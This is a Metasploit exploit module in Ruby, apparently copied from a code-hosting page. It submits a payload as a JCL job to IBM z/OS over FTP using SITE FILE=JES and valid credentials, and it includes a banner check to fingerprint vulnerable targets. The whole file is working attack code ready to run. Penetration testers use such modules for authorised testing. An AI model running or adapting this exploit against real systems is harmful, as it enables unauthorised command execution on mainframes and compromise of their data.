109 lines
3.0 KiB
Ruby
109 lines
3.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core/exploit/tcp'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::Ftp
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(
|
|
info,
|
|
'Name' => 'FTP JCL Execution',
|
|
'Description' => %q{(Submit JCL to z/OS via FTP and SITE FILE=JES.
|
|
This exploit requires valid credentials on the target system)},
|
|
'Author' =>
|
|
[
|
|
'Bigendian Smalls',
|
|
'mainframed a.k.a. soldier of fortran',
|
|
'S&Oxballs a.k.a. chiefascot'
|
|
],
|
|
'Arch' => ARCH_CMD,
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['mainframe'],
|
|
'Privileged' => false,
|
|
'Targets' => [['Automatic', {}]],
|
|
'DisclosureDate' => 'May 12 2013',
|
|
'DisableNops' => 'true',
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(21),
|
|
OptInt.new('SLEEP', [ false, "Time to wait before checking if job has completed.", 5 ])
|
|
], self.class
|
|
)
|
|
end
|
|
|
|
def check
|
|
##
|
|
# Connect to get the FTP banner and check target OS
|
|
##
|
|
if !connect_login
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failed to connect to FTP server")
|
|
else
|
|
print_good("Successfully connected to FTP server.")
|
|
end
|
|
test_jes = send_cmd(['site', 'file=jes'])
|
|
|
|
# Disconnect and check cached self.banner
|
|
disconnect
|
|
|
|
##
|
|
# Check if the target system has an FTP server running on z/OS"
|
|
##
|
|
case banner
|
|
when /IBM FTP CS V.R./
|
|
case test_jes
|
|
when /200 SITE/
|
|
print_status("Found IBM z/OS Banner and JES commands accepted")
|
|
return Exploit::CheckCode::Vulnerable
|
|
else
|
|
print_error("Found IBM z/OS Banner but SITE FILE=JES failed. Try anyway!")
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
|
|
##
|
|
# Return the Safe flag if system is not exploitable
|
|
##
|
|
else
|
|
print_status("We could not recognize the server banner: #{banner.strip}")
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
##
|
|
# Exploit the target system by submitting a JCL job via FTP
|
|
##
|
|
def exploit
|
|
if !connect_login
|
|
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Failed to connect to FTP server")
|
|
else
|
|
print_good("Successfully connected to FTP server.")
|
|
end
|
|
|
|
send_cmd(['site', 'file=jes'])
|
|
print_good("Successfully switched to JES mode")
|
|
|
|
jcl_file_name = "#{Rex::Text.rand_text_alpha(8).upcase}"
|
|
print_status("Uploading JCL file: #{jcl_file_name}")
|
|
|
|
res = send_cmd_data(['put', jcl_file_name], payload.encoded)
|
|
if res.nil?
|
|
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Failed to upload JCL to FTP server")
|
|
end
|
|
|
|
job_num = res.lines.first.split.last
|
|
print_good("Job Submitted. Job number is #{job_num}")
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
end
|